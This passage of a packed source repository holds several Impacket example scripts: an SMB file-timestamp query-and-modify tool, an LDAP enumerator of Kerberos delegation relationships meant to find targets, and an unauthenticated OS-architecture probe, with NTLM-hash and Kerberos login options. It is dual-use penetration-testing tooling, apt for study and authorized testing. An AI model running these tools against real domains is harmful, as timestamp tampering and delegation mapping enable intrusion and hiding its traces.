ExchangerHelper(domain, username, password, remoteName)\n        exchHelper.run(options)\n    except KeyboardInterrupt:\n        logging.error(\"KeyboardInterrupt\")\n    except Exception as e:\n        #raise\n\n        # This may contain UTF-8\n        error_text = 'Protocol failed: %s' % e\n        logging.critical(error_text)\n\n        if 'NspiQueryRows returned wrong result' in error_text and \\\n            options.submodule.lower() == 'dnt-lookup':\n            logging.critical(\"Most likely ntdsai.dll in lsass.exe has crashed \"\n                             \"on a Domain Controller while processing a DNT which \"\n                             \"does not support to be requested via MS-NSPI. \"\n                             \"The DC is probably rebooting. \"\n                             \"This can happend in Multi-Tenant Environment. \"\n                             \"You can try to request different DNT range\")\n\n        if 'Connection reset by peer' in error_text and \\\n            exchHelper.exch._rpctransport.rts_ping_received == True and \\\n            options.submodule.lower() == 'dnt-lookup':\n            logging.critical(\"Most likely ntdsai.dll in lsass.exe has crashed \"\n                             \"on a Domain Controller while processing a DNT which \"\n                             \"does not support to be requested via MS-NSPI. \"\n                             \"The DC is probably rebooting. \"\n                             \"This can happend in Multi-Tenant Environment. \"\n                             \"You can try to request different DNT range\")\n\n        # This usually happens when the target is RDG\n        # Probably may happen for Exchange 2003 / 2007 / 2010\n        if RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:\n            logging.critical(\"This usually means the target has no ACL to connect to \"\n                             \"this endpoint using RPC Proxy\")\n            logging.critical(\"Is the server a MS Exchange?\")\n            if options.rpc_hostname == '':\n                logging.critical(\"Try to specify -rpc-hostname (see description in the \"\n                                 \"beggining of this file)\")\n            else:\n                logging.critical(\"Try to specify different -rpc-hostname, or enumerate \"\n                                 \"endpoints via rpcmap.py / rpcdump.py\")\n\n        # It's Exchange or Exchange behind TMG, but the RPC Server name is wrong\n        if RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \\\n           RPC_PROXY_CONN_A1_404_ERR in error_text:\n            if options.rpc_hostname == '':\n                logging.critical(\"Cannot determine the right RPC Server name. Specify -rpc-hostname \"\n                                 \"(see description in the beggining of this file)\")\n            else:\n                logging.critical(\"The specified RPC Server is incorrect. \"\n                                 \"Try to specify different -rpc-hostname\")\n\n        if RPC_PROXY_REMOTE_NAME_NEEDED_ERR in error_text:\n            logging.critical(\"Specify -rpc-hostname (see description in the beggining of this file)\")\n\n        # Wrong credentials\n        if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text:\n            logging.critical(\"Wrong credentials!\")\n\n        # Show a reminder if Basic\n        if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text:\n            if exchHelper.exch._rpctransport.get_auth_type() == AUTH_BASIC and domain == '':\n                logging.critical(\"The server requested Basic authentication which \"\n                                 \"may require you to specify the domain. \"\n                                 \"Your domain is empty!\")\n\n        if RPC_PROXY_CONN_A1_401_ERR in error_text or \\\n           RPC_PROXY_CONN_A1_404_ERR in error_text:\n            logging.info(\"A proxy in front of the target server detected (may be WAF / SIEM)\")\n"
  },
  {
    "path": "examples/filetime.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script can be used in order to query & modify file timestamps - utilizing pure SMB.\n#   This is a PoC using my implementation of the `set_info` method in the `smb.py` file.\n#   The script mimics the syntax & logic to both the linux `touch` and `stat` binaries.\n#\n# Author:\n#   Raz Kissos (@covertivy)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import annotations\nimport sys\nimport argparse\nimport logging\nimport ntpath\nfrom typing import Tuple\nfrom collections import namedtuple\nfrom dataclasses import dataclass\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version\nfrom impacket import smbconnection\nfrom impacket.nmb import SMB_SESSION_PORT\nfrom impacket.smb import (\n    SMB_DIALECT, \n    FILE_READ_ATTRIBUTES,\n    FILE_WRITE_ATTRIBUTES,\n    FILE_SHARE_READ,\n    FILE_SHARE_WRITE,\n    FILE_SHARE_DELETE,\n    SMB_QUERY_FILE_BASIC_INFO,\n    SMB_SET_FILE_BASIC_INFO,\n    SMBQueryFileBasicInfo,\n    SMBSetFileBasicInfo,\n)\nfrom impacket.smb3structs import (\n    SMB2_FILE_BASIC_INFO,\n    FILE_BASIC_INFORMATION,\n)\n\nimport argparse\nimport datetime\nfrom impacket import smbconnection\nfrom impacket.smb import SMB_DIALECT, FILE_READ_DATA, FILE_WRITE_DATA, FILE_WRITE_ATTRIBUTES, SMB_SET_FILE_BASIC_INFO, POSIXtoFT, FTtoPOSIX, SMBSetFileBasicInfo\nfrom impacket.smb3 import FILE_BASIC_INFORMATION\nfrom impacket.smb3structs import SMB2_DIALECT_311, SMB2_FILE_BASIC_INFO\n\n\nFILETIME_READ_ACTION = 'stat'\nFILETIME_WRITE_ACTION = 'touch'\nVALID_FILETIME_ACTIONS = (FILETIME_READ_ACTION, FILETIME_WRITE_ACTION)\n\n\n@dataclass\nclass FileTimes:\n    creation_time: int = None\n    last_access_time: int = None\n    last_write_time: int = None\n    change_time: int = None\n    \n    def pretty_repr(self):\n        return \"\"\"\nCreationTime: {creation_time}\nLastAccessTime: {last_access_time}\nLastWriteTime: {last_write_time}\nChangeTime: {change_time}\n\"\"\".format(\n        creation_time=\"N/A\" if self.creation_time is None else datetime.datetime.fromtimestamp(FTtoPOSIX(self.creation_time)).isoformat(),\n        last_access_time=\"N/A\" if self.last_access_time is None else datetime.datetime.fromtimestamp(FTtoPOSIX(self.last_access_time)).isoformat(),\n        last_write_time=\"N/A\" if self.last_write_time is None else datetime.datetime.fromtimestamp(FTtoPOSIX(self.last_write_time)).isoformat(),\n        change_time=\"N/A\" if self.change_time is None else datetime.datetime.fromtimestamp(FTtoPOSIX(self.change_time)).isoformat(),\n    )\n\ndef filetime_query(connection: smbconnection.SMBConnection, tid: int, fid: int) -> FileTimes:\n    if connection.getDialect() == SMB_DIALECT:\n        basicinfo = SMBQueryFileBasicInfo(connection.queryInfo(tid, fid, SMB_QUERY_FILE_BASIC_INFO))\n    else:\n        basicinfo = FILE_BASIC_INFORMATION(connection.queryInfo(tid, fid, SMB2_FILE_BASIC_INFO))\n    \n    filetimes = FileTimes(\n        creation_time=basicinfo['CreationTime'],\n        last_access_time=basicinfo['LastAccessTime'],\n        last_write_time=basicinfo['LastWriteTime'],\n        change_time=basicinfo['ChangeTime'],\n    )\n    \n    logging.debug(f\"Got file / directory {filetimes = }\")\n    return filetimes\n\ndef filetime_set(connection: smbconnection.SMBConnection, tid: int, fid: int, filetimes: FileTimes) -> None:\n    if connection.getDialect() == SMB_DIALECT:\n        info_data = SMBSetFileBasicInfo()\n        info_data['ExtFileAttributes'] = 0\n        fileInfoClass = SMB_SET_FILE_BASIC_INFO\n    else:\n        info_data = FILE_BASIC_INFORMATION()\n        info_data['FileAttributes'] = 0\n        fileInfoClass = SMB2_FILE_BASIC_INFO\n    \n    info_data['CreationTime'] = filetimes.creation_time if filetimes.creation_time is not None else 0\n    info_data['LastAccessTime'] = filetimes.last_access_time if filetimes.last_access_time is not None else 0\n    info_data['LastWriteTime'] = filetimes.last_write_time if filetimes.last_write_time is not None else 0\n    info_data['ChangeTime'] = filetimes.change_time if filetimes.change_time is not None else 0\n    \n    logging.debug(f\"Setting file / directory filetimes = {filetimes}\")\n    connection.setInfo(tid, fid, fileInfoClass, info_data)\n\n\ndef main():\n    # Init the example's logger theme\n    logger.init()\n    print(version.BANNER)\n    parser = argparse.ArgumentParser(add_help = True, description = \"File / Directory Timestamp Querying & Modification Utility implementation.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument(\"share\", type=str, help=\"The share in which the desired file / directory to query or modify resides.\")\n    parser.add_argument(\"path\", type=str, help=\"The path of the desired file / directory whose timestamps we wish to query or modify.\")\n    \n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='Don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n    group.add_argument('-p', '--port', default=SMB_SESSION_PORT, type=int, metavar=\"destination port\", help='Destination port to connect to the SMB Server.')\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '\n                            'the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-t', '--timeout', default=60, type=int, metavar=\"seconds\", help='Set connection timeout (seconds).')\n\n    subcommands = parser.add_subparsers(dest=\"action\")\n    \n    query_parser = subcommands.add_parser(FILETIME_READ_ACTION, description=\"Show current file / directory timestamps.\")\n    \n    touch_parser = subcommands.add_parser(FILETIME_WRITE_ACTION, description=\"Modify file / directory timestamps.\")\n    touch_parser.add_argument('-c', '--create', action='store_true', help='Change the \"CreationTime\" of the file / directory.')\n    touch_parser.add_argument('-a', '--access', action='store_true', help='Change the \"LastAccessTime\" of the file / directory.')\n    touch_parser.add_argument('-w', '--write', action='store_true', help='Change the \"LastWriteTime\" of the file / directory.')\n    touch_parser.add_argument('-m', '--modify', action='store_true', help='Change the \"ChangeTime\" of the file / directory.')\n    \n    touch_parser.add_argument('-r', '--reference', default=None, metavar=('<share>', '<path>'), nargs=2, help='Specify a file / directory to reference and copy the timestamps of (format is <share> <path>).')\n    touch_parser.add_argument('-t', '--timestamp', default=None, metavar=\"STAMP\", help='Specify a timestamp to set for the selected filetimes (format: YYYY-MM-DD_HH:MM:SS.mmmmmm).')\n    \n    touch_parser.add_argument('-v', '--validate', action='store_true', help='Query the file after touching to verify the changes.')\n    \n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    \n    if options.debug is True:\n        logging.getLogger().setLevel(logging.DEBUG)\n        # Print the Library's installation path\n        logging.debug(version.getInstallationPath())\n    else:\n        logging.getLogger().setLevel(logging.INFO)\n    \n    if options.action not in VALID_FILETIME_ACTIONS:\n        logging.error(\"Invalid action '{action}'\".format(action=options.action))    \n\n    domain, username, password, address = parse_target(options.target)\n\n    if options.target_ip is None:\n        options.target_ip = address\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if options.hashes is not None:\n        lmhash, nthash = options.hashes.split(':')\n    else:\n        lmhash = ''\n        nthash = ''\n    \n    share = options.share\n    path = ntpath.normpath(options.path)\n    \n    if options.action == FILETIME_WRITE_ACTION:\n        if all((options.reference, options.timestamp)) or all((not options.reference, not options.timestamp)):\n            logging.error(\"Error! Must select one touch method! Either by reference or by timestamp!\")\n            sys.exit(1)\n        \n        if options.reference:\n            if len(options.reference) != 2:\n                logging.error(\"Error! Reference must be in the following format: <share> <path>!\")\n                sys.exit(1)\n            else:\n                ref_share = options.reference[0]\n                ref_path = options.reference[1]\n        elif options.timestamp:\n            try:\n                touch_timestamp = datetime.datetime.fromisoformat(options.timestamp)\n            except Exception as exc:\n                logging.error(\"Error parsing timestamp, make sure it is valid ISO format!\")\n                logging.debug(str(exc))\n                sys.exit(1)\n    try:\n        connection = smbconnection.SMBConnection(address, options.target_ip, sess_port=int(options.port), timeout=int(options.timeout))\n        if options.k is True:\n            connection.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)\n        else:\n            connection.login(username, password, domain, lmhash, nthash)\n\n        if options.action == FILETIME_WRITE_ACTION:\n            if options.reference:\n                try:\n                    ref_tid = connection.connectTree(ref_share)\n                    ref_fid = connection.openFile(\n                        ref_tid, \n                        ref_path, \n                        shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,   # Allow other processes to interact with the file / directory.\n                        creationOption=0,                                                   # Open both a file or a directory without limitation.\n                        desiredAccess=FILE_READ_ATTRIBUTES                                  # Request only the permissions we need.\n                    )\n                    logging.debug(f\"Querying Reference FileTimes from '{ref_path}' on share '{ref_share}'!\")\n                    new_filetimes = filetime_query(connection, ref_tid, ref_fid)\n                finally:\n                    connection.closeFile(ref_tid, ref_fid)\n                    connection.disconnectTree(ref_tid)\n            elif options.timestamp:\n                logging.debug(f\"Got TimeStamp: '{options.timestamp}'!\")\n                new_filetimes = FileTimes(\n                    POSIXtoFT(touch_timestamp.timestamp()),\n                    POSIXtoFT(touch_timestamp.timestamp()),\n                    POSIXtoFT(touch_timestamp.timestamp()),\n                    POSIXtoFT(touch_timestamp.timestamp()),\n                )\n            \n            # Keep only desired filetime changes.\n            if not options.create:\n                new_filetimes.creation_time = None\n            if not options.access:\n                new_filetimes.last_access_time = None\n            if not options.write:\n                new_filetimes.last_write_time = None\n            if not options.modify:\n                new_filetimes.change_time = None\n        \n        try:\n            tid = connection.connectTree(share)\n        \n            if options.action == FILETIME_READ_ACTION:\n                desiredAccess = FILE_READ_ATTRIBUTES\n            elif options.action == FILETIME_WRITE_ACTION:\n                desiredAccess = FILE_WRITE_ATTRIBUTES\n                if options.validate:\n                    desiredAccess |= FILE_READ_ATTRIBUTES\n            \n            fid = connection.openFile(\n                tid, \n                path, \n                shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,   # Allow other processes to interact with the file / directory.\n                creationOption=0,                                                   # Open both a file or a directory without limitation.\n                desiredAccess=desiredAccess                                         # Request only the permissions we need.\n            )\n            \n            if options.action == FILETIME_READ_ACTION:\n                logging.info(f\"Queried FileTimes for '{path}' on share '{share}'!\")\n                print(filetime_query(connection, tid, fid).pretty_repr())\n            elif options.action == FILETIME_WRITE_ACTION:\n                logging.info(f\"Changing FileTimes for '{path}' on share '{share}'!\")\n                print(new_filetimes.pretty_repr())\n                filetime_set(connection, tid, fid, new_filetimes)\n                if options.validate:\n                    logging.info(f\"Validating Updated FileTimes for '{path}' on share '{share}'!\")\n                    print(filetime_query(connection, tid, fid).pretty_repr())\n        finally:\n            connection.closeFile(tid, fid)\n            connection.disconnectTree(tid)\n            connection.close()\n        \n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "examples/findDelegation.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This module will try to find all delegation relationships in a given domain.\n#   Delegation relationships can provide info on specific users and systems to target,\n#   as access to these systems will grant access elsewhere also.\n#   Unconstrained, constrained, and resource-based constrained delegation types are queried\n#   for and displayed.\n#\n# Author:\n#   Dave Cossa (@G0ldenGunSec)\n#   Based on GetUserSPNs.py by Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport logging\nimport sys\n\nfrom impacket import version\nfrom impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity, ldap_login\nfrom impacket.ldap import ldap, ldapasn1\nfrom impacket.ldap import ldaptypes\n\n\ndef checkIfSPNExists(ldapConnection, sAMAccountName, rights):\n    # Check if SPN exists\n    spnExists = \"-\"\n    if rights == \"N/A\":\n        query = \"(servicePrincipalName=HOST/%s)\" % sAMAccountName.rstrip(\"$\")\n    else:\n        query = \"(servicePrincipalName=%s)\"%rights\n\n    respSpnExists = ldapConnection.search(\n        searchFilter=query, \n        attributes=[\"servicePrincipalName\", \"distinguishedName\"], \n        sizeLimit=1\n    )\n    results = [item for item in respSpnExists if isinstance(item, ldapasn1.SearchResultEntry)]\n    if len(results) != 0:\n        spnExists = \"Yes\"\n    else:\n        spnExists = \"No\"\n    \n    return spnExists\n\n\nclass FindDelegation:\n    @staticmethod\n    def printTable(items, header):\n        colLen = []\n        for i, col in enumerate(header):\n            rowMaxLen = max([len(row[i]) for row in items])\n            colLen.append(max(rowMaxLen, len(col)))\n\n        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])\n\n        # Print header\n        print(outputFormat.format(*header))\n        print('  '.join(['-' * itemLen for itemLen in colLen]))\n\n        # And now the rows\n        for row in items:\n            print(outputFormat.format(*row))\n\n    def __init__(self, username, password, user_domain, target_domain, cmdLineOptions):\n        self.__username = username\n        self.__password = password\n        self.__domain = user_domain\n        self.__target = None\n        self.__targetDomain = target_domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = cmdLineOptions.aesKey\n        self.__doKerberos = cmdLineOptions.k\n        #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost\n        self.__kdcIP = cmdLineOptions.dc_ip\n        self.__kdcHost = cmdLineOptions.dc_host\n        self.__requestUser = cmdLineOptions.user\n        self.__disabled = cmdLineOptions.disabled\n        if cmdLineOptions.hashes is not None:\n            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')\n\n        # Create the baseDN\n        domainParts = self.__targetDomain.split('.')\n        self.baseDN = ''\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n        # We can't set the KDC to a custom IP or Hostname when requesting things cross-domain\n        # because then the KDC host will be used for both\n        # the initial and the referral ticket, which breaks stuff.\n        if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost):\n            logging.warning('KDC IP address and hostname will be ignored because of cross-domain targeting.')\n            self.__kdcIP = None\n            self.__kdcHost = None\n\n    def run(self):\n        # Connect to LDAP\n        ldapConnection = ldap_login(self.__target, self.baseDN, self.__kdcIP, self.__kdcHost, self.__doKerberos, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, target_domain=self.__targetDomain, fqdn=True)\n        # updating \"self.__target\" as it may have changed in the ldap_login processing\n        self.__target = ldapConnection._dstHost\n\n        searchFilter = \"(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=\" \\\n                       \"524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*)\"\n\n        if self.__disabled:\n            searchFilter += \")(UserAccountControl:1.2.840.113556.1.4.803:=2)\"\n        else:\n            searchFilter += \")(!(UserAccountControl:1.2.840.113556.1.4.803:=2))\"\n\n        if self.__requestUser is not None:\n            searchFilter += '(sAMAccountName:=%s))' % self.__requestUser\n        else:\n            searchFilter += ')'\n\n        try:\n            resp = ldapConnection.search(searchFilter=searchFilter,\n                                         attributes=['sAMAccountName',\n                                                     'pwdLastSet', 'userAccountControl', 'objectCategory',\n                                                     'msDS-AllowedToActOnBehalfOfOtherIdentity', 'msDS-AllowedToDelegateTo'],\n                                         sizeLimit=999)\n        except ldap.LDAPSearchError as e:\n            if e.getErrorString().find('sizeLimitExceeded') >= 0:\n                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')\n                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement\n                # paged queries\n                resp = e.getAnswers()\n                pass\n            else:\n                raise\n\n        answers = []\n        logging.debug('Total of records returned %d' % len(resp))\n        \n        for item in resp:\n            if isinstance(item, ldapasn1.SearchResultEntry) is not True:\n                continue\n            mustCommit = False\n            sAMAccountName =  ''\n            userAccountControl = 0\n            delegation = ''\n            objectType = ''\n            rightsTo = []\n            protocolTransition = 0\n\n            #after receiving responses we parse through to determine the type of delegation configured on each object\n            try:\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        sAMAccountName = str(attribute['vals'][0])\n                        mustCommit = True\n                    elif str(attribute['type']) == 'userAccountControl':\n                        userAccountControl = str(attribute['vals'][0])\n                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:\n                            delegation = 'Unconstrained'\n                            rightsTo.append(\"N/A\")\n                        elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:\n                            delegation = 'Constrained w/ Protocol Transition'\n                            protocolTransition = 1\n                    elif str(attribute['type']) == 'objectCategory':\n                        objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0]\n                    elif str(attribute['type']) == 'msDS-AllowedToDelegateTo':\n                        if protocolTransition == 0:\n                            delegation = 'Constrained w/o Protocol Transition'\n                        for delegRights in attribute['vals']:\n                            rightsTo.append(str(delegRights))\n             \n                    #not an elif as an object could both have rbcd and another type of delegation configured for the same object\n                    if str(attribute['type']) == 'msDS-AllowedToActOnBehalfOfOtherIdentity':\n                        rbcdRights = []\n                        rbcdObjType = []\n                        searchFilter = '(&(|'\n                        sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute['vals'][0]))\n                        for ace in sd['Dacl'].aces:\n                            searchFilter += \"(objectSid=\"+ace['Ace']['Sid'].formatCanonical()+\")\"\n                        if self.__disabled:\n                            searchFilter += \")(UserAccountControl:1.2.840.113556.1.4.803:=2))\"\n                        else:\n                            searchFilter += \")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))\"\n                        \n                        delegUserResp = ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName', 'objectCategory'],sizeLimit=999)\n                        for item2 in delegUserResp:\n                            if isinstance(item2, ldapasn1.SearchResultEntry) is not True:\n                                continue\n                            rbcdRights.append(str(item2['attributes'][0]['vals'][0]))\n                            rbcdObjType.append(str(item2['attributes'][1]['vals'][0]).split('=')[1].split(',')[0])\n\t\t\t\t\t\t\t\n                        if mustCommit is True:\n                            for rights, objType in zip(rbcdRights,rbcdObjType):\n                                spnExists = checkIfSPNExists(ldapConnection, sAMAccountName, rights)\n                                answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName, str(spnExists)])\n                        \n                #print unconstrained + constrained delegation relationships\n                if delegation in ['Unconstrained', 'Constrained w/o Protocol Transition', 'Constrained w/ Protocol Transition']:\n                    if mustCommit is True:\n                        for rights in rightsTo:\n                            spnExists = checkIfSPNExists(ldapConnection, sAMAccountName, rights)\n                            answers.append([sAMAccountName, objectType, delegation, rights, str(spnExists)])\n            except Exception as e:\n                logging.error('Skipping item, cannot process due to error %s' % str(e))\n                pass\n\n        if len(answers) > 0:\n            self.printTable(answers, header=[\"AccountName\", \"AccountType\", \"DelegationType\", \"DelegationRightsTo\", \"SPN Exists\"])\n            print('\\n\\n')\n        else:\n            print(\"No entries found!\")\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Queries target domain for delegation relationships \")\n\n    parser.add_argument('target', action='store', help='domain[/username[:password]]')\n    parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. '\n                                                               'Allows for retrieving delegation info across trusts.')\n\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    parser.add_argument('-user', action='store', help='Requests data for specific user')\n    parser.add_argument('-disabled', action='store_true', help='Query disabled users too')\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '\n                                                                              'ommited it use the domain part (FQDN) '\n                                                                              'specified in the target parameter. Ignored'\n                                                                              'if -target-domain is specified.')\n    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '\n                                                                              'If ommited, the domain part (FQDN) '\n                                                                              'specified in the account parameter will be used')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    userDomain, username, password, _, _, options.k = parse_identity(options.target, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if userDomain == '':\n        logging.critical('userDomain should be specified!')\n        sys.exit(1)\n\n    if options.target_domain:\n        targetDomain = options.target_domain\n    else:\n        targetDomain = userDomain\n\n    try:\n        executer = FindDelegation(username, password, userDomain, targetDomain, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/getArch.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script will connect against a target (or list of targets) machine/s and gather the OS architecture type\n#   installed.\n#   The trick has been discovered many years ago and is actually documented by Microsoft here:\n#     https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53\n#   and doesn't require any authentication at all.\n#\n#   Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS.\n#\n# Author:\n#   beto (@agsolino)\n#\n# Reference for:\n#   RPCRT, NDR\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport logging\nimport sys\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.transport import DCERPCTransportFactory\nfrom impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP\n\n\nclass TARGETARCH:\n    def __init__(self, options):\n        self.__machinesList = list()\n        self.__options = options\n        self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')\n\n    def run(self):\n        if self.__options.targets is not None:\n            for line in self.__options.targets.readlines():\n                self.__machinesList.append(line.strip(' \\r\\n'))\n        else:\n            self.__machinesList.append(self.__options.target)\n\n        logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList))\n        logging.info('Socket connect timeout set to %s secs' % self.__options.timeout)\n\n        for machine in self.__machinesList:\n            try:\n                stringBinding = r'ncacn_ip_tcp:%s[135]' % machine\n                transport = DCERPCTransportFactory(stringBinding)\n                transport.set_connect_timeout(int(self.__options.timeout))\n                dce = transport.get_dce_rpc()\n                dce.connect()\n                try:\n                    dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax)\n                except DCERPCException as e:\n                    if str(e).find('syntaxes_not_supported') >= 0:\n                        print('%s is 32-bit' % machine)\n                    else:\n                        logging.error(str(e))\n                        pass\n                else:\n                    print('%s is 64-bit' % machine)\n\n                dce.disconnect()\n            except Exception as e:\n                #import traceback\n                #traceback.print_exc()\n                logging.error('%s: %s' % (machine, str(e)))\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Gets the target system's OS architecture version\")\n    parser.add_argument('-target', action='store', help='<targetName or address>')\n    parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch '\n                        'from (one per line). ')\n    parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.target is None and options.targets is None:\n        logging.error('You have to specify a target!')\n        sys.exit(1)\n\n    try:\n        getArch = TARGETARCH(options)\n        getArch.run()\n    except (Exception, KeyboardInterrupt) as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n    sys.exit(0)\n"
  },
  {
    "path": "examples/getPac.py",
